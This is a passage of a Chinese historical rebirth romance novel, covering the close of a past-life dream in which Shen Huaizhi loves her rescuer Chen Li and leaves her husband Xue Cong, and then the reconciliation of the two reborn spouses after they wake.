其实许多道理她早已想明白,只是那些话一直以来都只沉浸在她心底,从来不曾与人说,而今日陈理这番话,仿佛诉尽她心中怨怼,宛如拨云见日,瞬间让心绪都明朗起来。 这样诚恳真挚的好友与贴心入肺的宽慰,她如何能不领这份情意,自然愈发看重。 所以,在沈怀栀心里,陈理成了她最好的朋友,虽然是她单方面认定的。 虽然她和薛琮的感情在现实的婚姻生活中不复以往,但她和陈理的友情却在艰难的磨砺中日渐深厚。 他不只是可靠的值得信任的朋友,还是多次救她于水火之中的英雄。 如果不是薛琮和新帝的矛盾一日日激烈,或许沈怀栀永远都没有机会察觉到她已经改变的感情。 她在某次陪同薛琮去宫中赴宴时,无意间撞见了薛琮与李玉瑶的梅林相会,那时李玉瑶暗含得意与挑衅的眼神历历在目,而薛琮待李玉瑶罕见的有别于他人的姿态,也让沈怀栀心中生出芥蒂。 而这场梅林心结,因为薛琮的蓄意隐瞒变得更加让人难以释怀。 沈怀栀自此开始怀疑自己看人的眼光,她觉得她对薛琮的认知总是在不停改变,但不变的是,那份被辜负了的信任。 于是,这件事再不曾提起 ,如同那日在梅林外她转身离开那般,她也干脆利落的收回了自己对薛琮的信任。 唯一可惜的是,厌屋及乌,从前原本很喜欢的梅花看在眼里,自此多了几分恶感与芥蒂。 她突然有种从前的自己很愚蠢的感觉,但她可以不喜欢从前的自己,讨厌从前的自己,却绝不愿意别人欺骗愚弄那个天真愚钝的姑娘。 她和薛琮,终究是活成了她从前最不喜欢的模样,一对夫妻,越来越像勋贵圈子里的普通人,却唯独不可能成为心心相印的爱侣。 因为薛琮的关系,她开始讨厌梅花,但陈理却偏偏在梅林之中煮酒款待她,他的酒坊说是酿出了新酒,口味特别,很得她喜欢,便拿来款待好友。 席间,陈理笑着劝她,“花有什么错呢,有错的从来不是花草,可怜的花草不过是无妄之灾罢了。” 那时她听在耳里却并未入心,等后来她释怀梅林心结,便重新开始看花是花,看人是人,梅花依旧是好看且傲骨凌霜的,至于人,则见仁见智了。 沈怀栀觉得,她从陈理身上学到了很多,她身边从来没有出现过像他这样通透爽朗且细致贴心的人,很多时候,她切切实实的从他身上汲取到了助益。 后来再去回想,她对陈理的好感就是这样在一日日与一件件大事小事中叠加而来的,喜欢上陈理这样的人,从来都不是值得羞愧与后悔的事。 随着薛琮和新帝的矛盾日渐激烈,局面终于到了一发不可收拾的境地,新帝要收回兵权要杀掉令他不快的权臣,薛家则要在风雨飘摇中自保谋生,随着诸多被罗织的罪名落在永嘉侯府头上,绵延了百余年的门庭,终于轰然倒塌。 因为朝中重臣的阻拦和诸多利益相关者的转圜与营救,薛家最终没落得家破人亡的下场,但被流放边陲的命运却是更改不了的。 流放途中,薛家人几次遭遇追杀,陈理作为薛琮信赖的朋友,此时自然当仁不让的肩负起了救人的重担。 沈怀栀发现,薛家这些人里,那些追杀的人马始终对她和儿子纠缠不放,当太夫人被救出安置在某处时,那些杀手毫不留恋只一味追寻着她和礼安的踪迹,就是明证。 此后再行验证过两次后,她的这个想法得到了确切无疑的证实,对方死追不放的目标,就是她和孩子。 于是,陈理带着人一路护着他们母子辗转逃生,千里路途几经生死,那段时间,这世上仿佛只剩下他们三人相依为命。 至于她的丈夫薛琮,则偷偷回了京城另辟蹊径,要置之死地而后生为他们闯出一条活路。 那惊心动魄的两个月里,沈怀栀见了无数的鲜血与死人,也吃够了奔波流离的苦头,更是见识到了诸多人心黑暗与人性极恶。 到最后,身边的护卫们死的死跑的跑,只剩她和陈理带着礼安在偏僻山林中挣扎求生。 那时一切已经到了山穷水尽的地步,身后追兵依旧源源不绝,宛如毫无尽头,而大雨淋漓的深沉夜色中,他们在人迹罕至的山洞中落脚。 狭窄的山洞里,沈怀栀抱着儿子,小心细致的喂他吃了退烧的丸药,若不是这孩子风寒高烧不退,陈理为了买药入城,他们也不会被追兵这么快寻到踪迹。 现在,怀中的孩子热度渐渐退去,她抱着他,轻轻的拍抚,希望他能早些睡去。 狭窄的山洞只是山壁间的一处小小凹陷,地方并不大,陈理坐在洞口,背对着他们遮挡风雨,很快,山林间风雨退去,夜空放晴,甚至露出了几颗星子。 一路奔波逃生至此,沈怀栀早已心神俱疲,有时候闭上眼时,她甚至自暴自弃的想,或许就此被追上也好,她真的没有力气继续逃下去了。 可当她睁开眼,看到满心依赖的礼安,看到为了护着他们母子伤痕累累的陈理,她就知道,自己一定得继续坚持下去。 但层层叠叠的疲惫与绝望却是不会消失的,崩溃的瞬间来得是那么突然,她真的忍不住那点汹涌而来的眼泪。 不能发出声音,会惊动林间野兽与飞鸟,也不能再为她的挚友增添更多麻烦。 陈理坐在她身前,安静宛如山石,终是不曾说一言一语,只是将风雨寒意悉数遮挡在外,为她提供最后且唯一的庇护。 山林中逃生的日子依旧糟糕,在某一日他们再次侥幸逃出升天时,或许也是察觉到了这越来越微末的逃生可能,两人之间竟生出了回光返照般的轻松。 也就是在这天,沈怀栀亲耳听到了陈理那番堪称惊天裂石的真心话。 那时他身上尚且残留着几分从围堵中逃出生天的狼狈,满身是伤的抱着剑靠坐在树下,一身落拓不羁,笑着慨叹道,“沈七啊沈七,我从不知道自己竟然是如此厚颜无耻之人,居然对友人之妻生出觊觎之心。” 陈理已经好久不曾叫过她沈七,那时沈怀栀甚至顾不上他那番话惊世骇俗的话,只担心他的身体与安危。 但陈理显然没有停下的想法,他依旧在笑,依旧再说,“不过,虽然厚颜,却不后悔。” 他看着她的眼睛,只是道,“所以,怀栀,我会护好你的,毕竟……” 毕竟什么? 当时那些未竟的话,在后来的许多年里,被沈怀栀一点点补全。 陈理喜欢沈怀栀,陈怀逸挚爱沈怀栀,是她得出的答案。 或许是否极泰来,就在这天,她和陈理命悬一线之际,终于等来了救兵。 薛琮带着人救下了他的好友和妻儿,也终于从新帝的罗网中逃脱,薛家与侯府得以保全,他的妻儿友人得以保全,同样的,他的野心与权势也得以保全。 沈怀栀看着她的丈夫,突然明悟了一件事,因为爱上了不合适的人,走入了不合适的婚姻,所以她往后的人生,是需要连薛琮的野心抱负一并背负在身上的,这才是所谓的贤妻。 而她,早已没有回头的机会。 她知悉了陈理的心意,却不敢也不肯迈出雷池一步,但她即便欺骗自己,也泯灭不了那些心动与情意。 沈怀栀再次恢复了一成不变的侯府贵妇生活,唯一有所变化的,大概是陈理日渐与他们疏远。 不知是出于愧疚抑或者其他,他和薛琮的来往日渐减少,和她这等后宅妇人的交集更是寥寥,而与之相反的是,随着新帝病倒,薛琮的权势却开始如日中天起来。 薛氏,开始令人趋之若鹜。 在薛家鲜花着锦的日子里,沈怀栀总是忍不住站在窗前看那株海棠树。 她年少久居梧州时,那对双胞胎弟妹的院子里都有一颗父母亲手所植的海棠树,在她恶了梅花之后,曾经想过也在自己院子里也种上一株,可这点想法总是因为各种各样的意外而不了了之,日子久了,她终于歇了心思。 然而,现在她眼前却有一株漂亮的垂丝海棠,那是某年陈理送给她的节礼,说是听说她喜欢海棠树便随手送了几株,一株开花好看的种到了她院子里,还有一株因为树龄久远树身庞大,被种到了庄子上。 海棠花之后,她还收到了他又新酿的酒。 沈怀栀从陈理那里得到的东西太多,多到她心生愧疚的地步,但那时的她并不知道,深水之下,暗流只会更多。 薛家的日子愈发风光,而她也开始被人众星捧月讨好奉承,薛琮给她带来了许许多多的荣华富贵,她面上微笑,心底却平静一片。 从前她需要他 的时候他永远不再,所以,她现在也没那么需要他了。 夫妻之间如水般平淡,就已足够,但对于久未相见的陈理,她却希望他能过上自己喜欢愿意的好日子。 毕竟,陈怀逸值得这世间最美好的一切。 所以,在她觉得一切回到正轨不该再出什么意外时,陈理离开的消息传来,她如何能相信。 但不可置信里,她同时又是平静的。 她去陈家见了陈理最后一面,以永嘉侯府薛夫人的身份。 陈理的葬礼极其光鲜,丧仪上所有人看起来又都是那么悲伤,而她看着这个一生中遇到过的最好的人入土,一句话也说不出来。 她知道自己过于平静了,无论是作为友人还是被陈理救了数次的沈怀栀本人,她都本不该这么平静。 然而,她确实没有其他反应。 倒是在半个月后的某一天,她坐在窗前看海棠树贪凉着了晚风,就此生了风寒。 这场来势汹汹的风寒让她吃足了苦头,长久的低烧不退,甚至偶尔胡言乱语,恍惚中,她在一场迟来许久的梦里,看到了对她微笑的陈理。 她大约,是喊了他的名字的。 也是在许久之后,她知晓了那时候坐在旁边的薛琮,是将一切都听进了耳里的,而她却一无所觉。 从此之后,她终于肯承认自己移情别恋的事实,将一个离去的人深深的埋进了心底,而她的丈夫薛琮为此心生芥蒂,魔障入心,再难释怀。 一对夫妻,两个怀揣着心事的人,开始了隔阂深深相敬如宾同床异梦的生活。 薛琮开始以时冷时热时远时近的态度,试探她,刺激她,惩罚她,纵然外面流言蜚语一片,依旧不加以阻拦,任由流言满天飞。 他以为她是忍不了的,所以等着她的反应与爆发,而沈怀栀却偏偏忍了一日又一日,直到在她三十二岁生辰这日,她为自己准备了一份最好最合适的生辰礼—— 一封给薛琮的和离书。 而眼前,就是她同薛琮和离的结果。 他要听她亲口一字一句说出对陈理的感情,以此来决定是否放她离开。 其实薛琮的这个保证沈怀栀是不怎么信的,一个野心勃勃浸淫于权势的权臣,他的许诺看似铿锵有力,其实有时只是如空中楼阁般虚假靓丽。 可即便这个许诺是镜中花水中月,她也愿意说出和陈理的过往,无非是想薛琮看清楚,在陈理面前,除了一个理所当然的丈夫身份,他还有什么资格和陈理争。 最后,听完那些过往,薛琮只是有些艰难的问了她一句话,“怀逸……他当真有那么好?” 沈怀栀轻轻的摇了摇头,就在薛琮神色有所和缓时,她郑重的道,“他比你想象中更好。” 至此,薛琮再无话可说。 如今沉默似乎成了他们之间消散不去的阴霾,沈怀栀神情安然的等待着薛琮的考虑结果,不管真假好坏,他总要给出一个结果的。 “真珠,”薛琮忽然抬头看她,用一种她从来不曾见过的脆弱表情问她,“如果你喜欢怀逸是因为那些过往,那我呢?” “你对我,你和我之间,又是因为什么?” 这个问题让沈怀栀有些意外,薛琮从来不曾问过她喜欢他的原因,而她自己也确实快想不起来了。 但或许是因为今日提及了太多往事,那些层层叠叠的旧日记忆被翻涌上来,她在薛琮的询问中,福至心灵般,突然忆起了自己当初喜欢上他的初衷。 她对薛琮的喜欢,确实是有原因的,而且远比她自己所认为的时间要更早。 说起来,那真的是很久很久以前的事了。 当年她从梧州回京,宛如丧家之犬般从一对不爱自己的双亲身边离开,那时她已经知晓,比起接受虚假做作的亲情,她宁愿呆在利益唯心的沈老夫人身边。 可纵然她强迫自己接受,失落与痛苦也是无法改变的,她失魂落魄且狼狈,就这样浑浑噩噩的一路回了京城。 在京郊,车队被别有用心的匪徒袭击,危急时刻,是当时在军中历练的薛琮带着人马在匪徒刀下救了车队一行人。 年轻小将英姿昂扬意气风发,一人一马拯救她于危难之际,心神低落的沈怀栀不可避免的被这样光芒万丈的人吸引打动。 自古英雄救美美人以身相许的故事多如过江之鲫,无一不说明了这种缘分的合理性,她想,她大约就是在那一刻被打动了的。 被抛弃的,不被重视的沈怀栀,她迫切的想要拥有珍贵的爱,她想要真正属于她的家人与爱人,想要有一份独属于自己的独一无二与坚定唯一。 而薛琮,碰巧就在此时出现,拯救她于绝望之中,连带着,她那些渴望与感情似乎也在这种机缘巧合下分润到了他的身上。 所以,后来再与薛琮重逢时,她不可避免的沦陷了,无人可依的她想要依靠那个英雄一般拯救她的薛琮。 如今想来,这就是她和薛琮缘分的伊始。 “原来如此。”听完她所说,薛琮喃喃道,“原来我竟然……” 竟然什么?沈怀栀无意深究,她只是又一次提醒薛琮,是否要兑现他的保证与承诺。 作为一个成熟的大人,她早已知悉,人能依靠的只有自己,最好的方式是自己爱自己,祈求别人的爱是卑微的错误的没有结果的。 她现在只希望薛琮能给她一个满意的答案,毕竟,她真的不想走到两败俱伤的地步。 这次薛琮的沉默反而不如之前久,他看起来像是想明白了什么,神色平静的看着沈怀栀道,“真珠,我不会同意和离,但我可以放你走。” 前一句让沈怀栀心情阴郁,但后一句柳暗花明,终于让她的心情没那么差了。 “真珠,我会亲自送你离开。”最后,薛琮如是说。 第63章 第63章前世梦境完 成平七年的五月,因西南边疆蛮族率众叛乱,行事猖獗,摄政王定国公之子薛礼安请命赴边平叛,小皇帝有感于臣子的忠君报国之心,便于朝会之上同意其所请,同时加封西南大将军,统领西南一应军务。 薛礼安率兵启程那日,京里京外都很是热闹,大军拔营缓缓出城时,京郊之处另一支车队也启程去往西南。 薛琮说亲自送她离开,沈怀栀不算惊讶,但真等她坐在马车里,外面尽是车马粼粼声时,一路骑马护送在身侧的薛琮到底还是让她吃惊了。 不过,她没说什么,既没阻止也没干涉,任薛琮如何想如何做,她只要天高任鸟飞海阔凭鱼跃。 车队一路南下,沈怀栀日常要料理的事情也多了起来,薛琮从不干涉她的言行,看起来当真宛如一个沉默寡言且可靠得用的护卫。 进入五月之后,越往南去天气便越热,这日沈怀栀在某处落脚的小镇寻到了一种特殊的种子,便一早带着人兴致勃勃的去了近郊的农家,而薛琮停留在客栈里,正处理着京中送来的密折,顺带等待妻子归来。 结果,这一等就等到了晚膳时分,等得薛琮都有些心浮气躁了,外面才传来车马嘈杂响动。 他快步出门,看着风尘仆仆满身尽是泥土尘埃的沈怀栀,本想说她两句,但等她转头看过来时,薛琮眼中映出妻子明亮欢喜的眼睛和洋溢着微笑的泛红脸颊,所有话顿时堵在了嘴边。 她看起来是真的快乐,生机勃勃的样子宛如春日里所有茂盛生长的草木, 似乎就连身上的那点尘埃都闪着动人的韵调。 他突然就觉得自己此时不应当说任何一句扫兴的话,于是,他几步上前,接过下人送来的茶水,为她递了杯茶过去,顺带着,也用帕子给她擦了擦汗。 沈怀栀看起来有些惊讶,但惊讶过后对他笑笑,得体有礼的姿态仿佛身上不曾生过尖刺。 但薛琮知道不是的,她此时的顺从与客气,全因他全了她的心思与念想,所以她愿意和他演上这么一出相敬如宾,但凡他只要表露出一丝阻拦她南下的意思,恐怕顷刻间这人就要翻脸无情。 毕竟,沈怀栀对他,总是有很多无情的。 就这样,一路行来相安无事的日子飞快的过去,等薛琮拖得不能再拖,必须回京坐镇中枢之时,距离去往西南的路程已经走了一大半。 “回去吧,不用送了。”分别时,沈怀栀道,“照顾好梦婉,我会照顾好自己同礼安的。” 说完,她也不再等薛琮说些什么,上了马车就朝着渡口的方向而去,接下来他们这一行人要转水路南下,顺风顺水的话几日后就能到达目的地。 薛琮看着沈怀栀头也不回的离开,毫无留恋的模样好似再也不会回头,甚至于,他从她身上窥到了难以掩藏的雀跃与快乐。 能够离开他,离开京城,奔赴自己选择的未来,于她而言,竟是如此的幸福。 即便他不想承认,也不得不承认,她是当真能舍下一切的。 等岸边的船缓缓驶离时,薛琮终于在阳光明媚的五月与热情炽烈的六月里,送别了挚爱的妻子。 当京中朝堂变动的消息送至西南时,时间已经过去了两个月。 小皇帝血统存疑,疑似当年还是云妃的太后与某位王爷私通,这石破天惊的消息仅仅几日便从朝堂传至民间,而朝中诸公也仅仅只花了三天时间,快速且高效的完成了皇位的更替。 当朝太后被处理,曾经的小皇帝被圈禁,就在大家猜测那位摄政王是否会更进一步时,由宗室出面、朝臣们协商,共同遴选出了曾经废太子的血脉继位登基,一次堪称惊天动地的皇位更迭就这样不声不响的完成了存续。 沈怀栀一边在田里劳作,一边听儿子说完了这些惊心动魄的大事,因着此时两人身边没有其他人,薛礼安的言辞多了几分随意。 “母亲,父亲的意思,那位李娘娘的下场如何,由您决定。” “还有,朝中再立新主之后,父亲有意让妹妹更进一步,不知您意下如何?” 因为母亲总是懒得看父亲的信,薛礼安只好代父传话,至于父亲这些决定他是否赞同,那就是他们父子之间的另一番交锋了。 那位前太后如何,说实话沈怀栀并不怎么在意,她对那个女人是有些讨厌,但也没到需要专门心狠手辣炮制她的程度,更重要的是,有薛琮这么个睚眦必报的人在,她很乐意对方代劳这些琐事。 而她,时间与精力更多的放在眼前这些会让她轻松愉快的事情上。 倒是关于女儿的未来…… 作为母亲来说,她对女儿的唯一期望就是她能按照自己的意愿生活,但孩子若是有自己的想法,她也不会阻拦,毕竟,她的孩子和曾经的自己完全不一样,背后是有双亲和兄长做依仗的。 若是以薛琮如今的权势尚且不能保证自己的女儿顺心如意,那他耗费诸多心血才得到的权势也太过廉价了。 于是,沈怀栀只温声回复了自己的儿子,“看你妹妹的想法吧,她想怎么选就怎么选,无论她做什么选择,都有我们为她兜底。” “母亲的想法和我猜的差不多。”薛礼安笑道,“不管是对我还是对妹妹,母亲总是很纵容的。” “也不算纵容,”沈怀栀笑道,“你和你妹妹都是难得的好孩子。” 其实,沈怀栀并不知道如何做一个好母亲,她只知道自己决不能成为自己双亲那样让人失望的长辈,然后将自己曾经渴望的、从不曾得到过的好的一切,都给予自己的孩子。 这样,她才觉得自己配得上母亲的身份与心意。 *** 在南边的日子总是过得很快,转眼间大半年过去,在京城寒冬飘雪之时,西南这边依旧温暖湿润如春日。 儿子忙着压制西南蛮族的反扑,沈怀栀则日常轻车简行的出没在各个大小城镇乡村之中,她在这边看到了许多新奇的植物与种子,日子几乎可以说是乐不思蜀。 当薛琮远远瞧见沈怀栀时,就见她正一派欢喜的同手拿锄头站在田边的老农说话,似乎还有几分掩饰不住的激动模样。 他已经有很久没见过她这般欢喜有活力的样子,就算在他权势鼎盛时一派富贵荣光加身,她也远不如现在来得自在快活。 这样的妻子让他沉溺沉迷,他甚至不舍得打扰她,希望她此时的快乐能更长久一些。 但很可惜,纵然他不在意,沈怀栀身边跟着的护卫却是要尽忠职守的,于是,她很快结束了同老农的谈话,朝他望了过来。 她脸上还残留着笑意的余韵,但在见到他时,那份欢喜立时收敛了许多,又重新有了几分京中贵夫人的模样。 薛琮就看着她站在那里,面上依旧在笑,眼睛里却多了几分谨慎戒备,仿佛他是即将带来噩耗的不祥之人。 他的心就这么重重一沉,奔赴千里前来见她的喜悦就这样突然间彻底消失。 最后,他们还是在人前维持了体面夫妻的模样,一同上了马车。 马车一路驶向城中,车内薛琮做足了守礼姿态,只时不时的问上两句她和儿子的情况。 渐渐的,或许是氛围足够平和,沈怀栀放下了三分戒心,神情不再那么紧绷。 马车顺利归家,两人缓步走进后院,薛琮将所有人遣退时,沈怀栀还以为他是有什么私密话要说,直到自己被一把抱起放到卧房的榻上,她再没机会说出什么话。 强忍了许久的薛琮迫不及待的截取沈怀栀的呼吸,他摸着她开始变得粗糙和有些茧子的手,摸她明亮快乐的眼睛,摸她变得比从前康健许多的身体。 果真,在离开他之后,她是越来越好的。 这一场吻持续了足够久的时间,久到连沈怀栀自己都没心情再拒绝。 她感受到了薛琮的压抑与狂热,也感受到了他未说出口的感情,但即便如此,她的心也并未有太大波动。 不管是薛琮想给的还是想要的,都是她现在已经不大在乎的,所以,被放开之后,她擦干净热痛发麻的嘴唇,神情平静的给了他一段话。 “薛琮,对我来说,如果你不再打扰我,我很欢迎,如果想和离,那更好,可如果你坚持求爱,那日后就不必再来了。” 薛琮没说话,他只是定定的盯着沈怀栀的眼睛,缓慢且坚决的道,“既然如此,真珠,那我们就看看,我们之间,到底谁熬得过谁。” 既然舍不得下狠手,那就拼毅力好了,如果他们两个人之间一定要有一个人失败妥协,薛琮觉得,那个人决不会是他。 毕竟,他这辈子,都不可能舍弃她屈就别的任何人。 于是,从这一年开始,这对始终没有和离的夫妻就此展开了拉锯战。 沈怀栀在西南待的时间越来越长,随着儿子薛礼安逐渐长成镇守边关的大将,她的种田事业也慢慢有了令人欣喜的成果。 就这样,她一心一意的做自己喜欢的事心爱的事,同时也做着她心中的好母亲,虽然后来并不曾像其他人的母亲一样日日伴在心爱的孩子身边,但她对儿女们的爱却是从来不曾少过半分的。 至于对薛琮,沈怀栀对他的态度可以说是“矢志不渝”,多年来,两人之间有夫妻名份夫妻之实,却没有夫妻情意。 薛琮依旧视她如妻,但沈怀栀看他,更多的只是孩子的丈夫,她对他有感情,但无论这感情是多是少还是哪一种,却都决不会是薛琮期望的那一种。 这一场漫长的拉锯战中,薛琮未胜,沈怀栀未败,有人得到了想要的,有人徒劳无功,是一场不能说好但也决不能说差的磨合与抗争。 夕阳西下的春日霞光里,海棠花飘落的淡雅香气里,看着临窗而坐低头编写农书的妻子,目光深深的薛琮,依旧舍不得眨一下眼。 他总是觉得她很美,总是会被她吸引,即便她对他心硬如铁,只要她还在他身边,还会对他笑,他就忍不住被动摇。 如果他能不那么爱她就好了。 可惜,他并不能。 当微妙且奇特的香气氤氲在呼吸间时,有人知道,这场不知是否能称得上是美梦的梦境,终于要醒了。 第64章 正文完 第64章 正文完大家看作话。 梦里的一切,即便醒来后,薛琮依旧记得清清楚楚。 他看向身边依旧在酣睡的妻子,和他不同,此时沉睡在梦里的沈怀栀神情是安然闲适的,她的梦 境里,看起来好像没有任何遗憾与不满足。 和他完全不同。 薛琮靠过去,将人又往怀里拢了拢,沉睡的人轻微的挣扎了两下,就又再度回到属于她的梦境之中。 这支浮梦香他上辈子点了无数次,但没有一次如同今日这般,梦境中的一切是如此真实。 果真如那道士所说,如今此般才是浮梦香的正确用法,不像上辈子,纵使点了香,他梦到她的次数也总是寥寥,而梦中的她也虚无缥缈。 他本来没打算这么早用浮梦香试探她,但她对他的狠心与绝情实在是太鲜明,薛琮忍不了,便想在梦中看一看,若是一切回到过去,她和他之间,到底会走到什么境地。 如今,他终于得到了曾经设想过无数次的答案。 梦中的答案甚至让他觉得,曾经就像从前那样相敬如宾的过下去似乎也是一种不错的结果了,只可惜,他的贪欲迫使他永远不会止步。 当年失去她时,他曾经无数次奢望幻想发疯,可如今得到的已经是那时不可企及的一切了,他的贪婪与私欲却又促使他忍不住去探寻藏在匣中的恶鬼。 果然,没有人的运气会一直好下去。 纵然梦里发疯毁掉平和撕破一切假面,他想要的一切也终究是不可挽回的。 外间的夜风带着花香吹进门,薛琮起身走到窗前,突然发现这春夏之交的时日,和他梦中送别沈怀栀时一般无二。 约莫半刻钟后,床上有了响动,薛琮回神,看到拥着薄被坐起身神情有些怔怔的沈怀栀。 她像是在思考回味着什么,神情复杂难辨,薛琮走上前,轻声开口问道,“在想什么?” 沈怀栀抬头看他一眼,语气平淡,“何必明知故问,自然是在想我那场奇怪的梦。” 薛琮笑笑,伸手理好她披散在肩头的长发,“奇怪吗?我倒觉得还好,毕竟,我从前想梦也梦不到。” “现在梦醒了,你的想法还和之前一样吗?” “一样,”沈怀栀轻描淡写的道,“不管梦里梦外,我的想法一如既往。” 话音落下,薛琮面上本来还称得上游刃有余的笑容立刻淡去,他目光定定的看着沈怀栀,没去追问她对自己的想法,反而提到了另外一个人。 “那你对怀逸呢?也依旧不改其志吗,还是说,你打算弥补遗憾?” 闻言,沈怀栀沉默了许久,就在薛琮心中隐隐生怒时,她的回答来了,“并不。” 沈怀栀认真且坚决的对上薛琮深沉的目光,她道,“我有我的生活,怀逸也有属于他的未来,我们永远是彼此的知交好友。” 这话说得斩钉截铁,就算薛琮想要嘲讽一二都无从下口。 甚至于此刻他生出了浓浓的疑惑,“为什么?我以为经过那场梦之后,你会改变想法。” 就算薛琮不想承认,也得面对沈怀栀心中对陈理感情甚深的事实,梦中的遗憾犹在眼前,昨日之痛彻心扉,今日之失而复得,不管换做谁都不可能无动于衷。 更遑论,如今的陈理依旧是会轻易爱上她的,这样一个人放在眼前,如何能忍得住不越界? 至少薛琮不能,不然他不会在此时此刻问出这样一个问题。 对于这个问题,沈怀栀无意搪塞也无意说谎,她只是看着薛琮道,“从前不和怀逸在一起,是因为我自己,现在不和他在一起,则是因为你。” 你看,事情就是这么简单。 “重生的沈怀栀不想欺骗隐瞒如同一张白纸的陈怀逸,她已经拥有过独属于她的海棠树,纵然眼前再次出现一棵一模一样的树,也不是陪她经历过许多风霜雨雪的那棵了。” 听到这些话的薛琮,是多么想嘲笑妻子的天真啊,可他是那么了解她,正因为了解,所以嘲笑的背后是无尽的煎熬与嫉妒。 正因为她深爱他,所以才会如此斤斤计较。 “至于你,”沈怀栀眉眼淡漠,“如果你不曾重生,我和怀逸来日或许还有两分可能,可你偏偏重生了。” “有你在,我绝不会把陈理牵扯到我们中间。” 重生归来的薛琮,危险且难以预料,沈怀栀不会给薛琮分毫迁怒陈理的机会,这既是对陈理的保护,也是对她自己的保护。 反正她今生本来就无意于情爱,如果注定要和薛琮纠缠,那这份纠缠的因果就决不能殃及任何无辜的人。 薛琮了然沈怀栀的未尽之意,果真,是和梦里一般无二的走向,当她再次面对选择时,最先放开手的依旧是他。 和她的爱相比,他看起来有些过分自私了,但幸好他还有几分理智,清楚她的原则和底线在哪儿,知道不能殃及池鱼,而他如果还想和她有在一起的可能,还想挽回她的话,那他要做的,就是学她的做派,为所爱之人考虑。 即便这份心情背后是无尽的嫉妒与憎恨。 嫉妒陈理,憎恨自己,但爱她。 看着因为自己的回答沉默不语的薛琮,沈怀栀这时也有两句话要问他,“你应该已经看清楚,我此心不改的坚决,现在你还打算继续逼迫我吗?” 薛琮深叹口气,摇摇头,“已经没那个必要了。” 梦里那么多年的抗争与拉锯,早已说明了他的惨败,自私贪婪的薛琮不可能从沈怀栀身上得到他渴望的一切,他越强硬,她就会越坚决,他越贪婪,她就会越吝啬。 一枕黄粱梦,已经是命运给他的指引与宽待了。 如果他真的想心想事成,他唯一能做的,就是—— 去学陈怀逸。 去学那些他曾经不屑一顾的,去学那些他曾经弃如敝履的,去捡拾起他曾经忽视的丢弃的,去保护他曾经错过的伤害过的…… 唯有如此,他才有一线生机。 所以—— “去做你想做的一切,按照你自己的心意在这个世上自由的活着,什么事情让你欣喜快活就去做什么,讨厌什么就远离什么,任性恣意的去做自己,做沈怀栀,而不是做什么人的女儿妻子与谁的母亲,只做你自己。” “一心一意的做你自己。” 薛琮露出沈怀栀从未见过的笑容,那笑容里有几分爽朗,有几分释然,有几分伤感,同样的,还有几分祈求,像他,也不像他。 “只要,别太讨厌我,也别离我太远。” 沈怀栀很清楚自己是吃软不吃硬的性子,她也知道此时薛琮的话是真心的,即便真心里有几分以退为进的筹谋与算计,但也不至于让人反感。 毕竟,他本就是这样的人,违背本性做到他所说,对她而言已然是最好的选择与未来。 圣人尚且说论迹不论心,不论薛琮如何想,只要他能做到他所说的一切,那沈怀栀就愿意再试着相信他一次。 “好。” 至此,一对同床异梦的夫妻,终于有了几分殊途同归的迹象。 后来的许多年里,沈怀栀依旧顶着御赐婚约的头衔与薛琮未婚妻的身份,在南面过她想要的日子。 她始终没和薛琮成亲,就这样渐渐声名鹊起,成为了在农学方面颇有声名的大家,而薛琮也无愧于他那愈发纯熟老辣的政客属性,权势一日日更胜往昔。 沈怀栀不回京城,薛琮也不在意,纵然一南一北,只要他想,他总能抽出时间来看她陪她,就这样,一直一直陪伴她到习惯了彼此的存在。 说起来,即便没有婚礼,他们之间同相敬如宾的夫妻也不差什么了,有些人是有名无实,但他们算得上是有实无名,薛琮再是心软退让,也决不会当真舍得放弃馋了多年的嘴边肉。 只是,比起名正言顺的丈夫,他至多算个见不得人的外室或者谋求争宠的面首男宠,地位有,但不高,宠爱有,但不多。 可是比起梦中的竹篮打水一场空,现在这样已经算是让人满意了。 多年后的某天,薛琮心血来潮之际,突然询问沈 : 怀栀,“真珠,你现在会考虑嫁给我这件事吗?” 闻言,沈怀栀轻轻摇头,她道,“现在的我不能给你答案。” 就在薛琮面上低落时,她不紧不慢的补了一句,“让时间去决定以后的一切,把结果交给未来的我,至于现在,这样就很好。” 很好—— 薛琮从这两个字里听到了希望,于是,他终于知道,曙光在即了。 外面,又是一年春夏之交的大好光景,阳光灿烂,春意明媚。 最是一年春好处,美景秀色里,情意最宜人。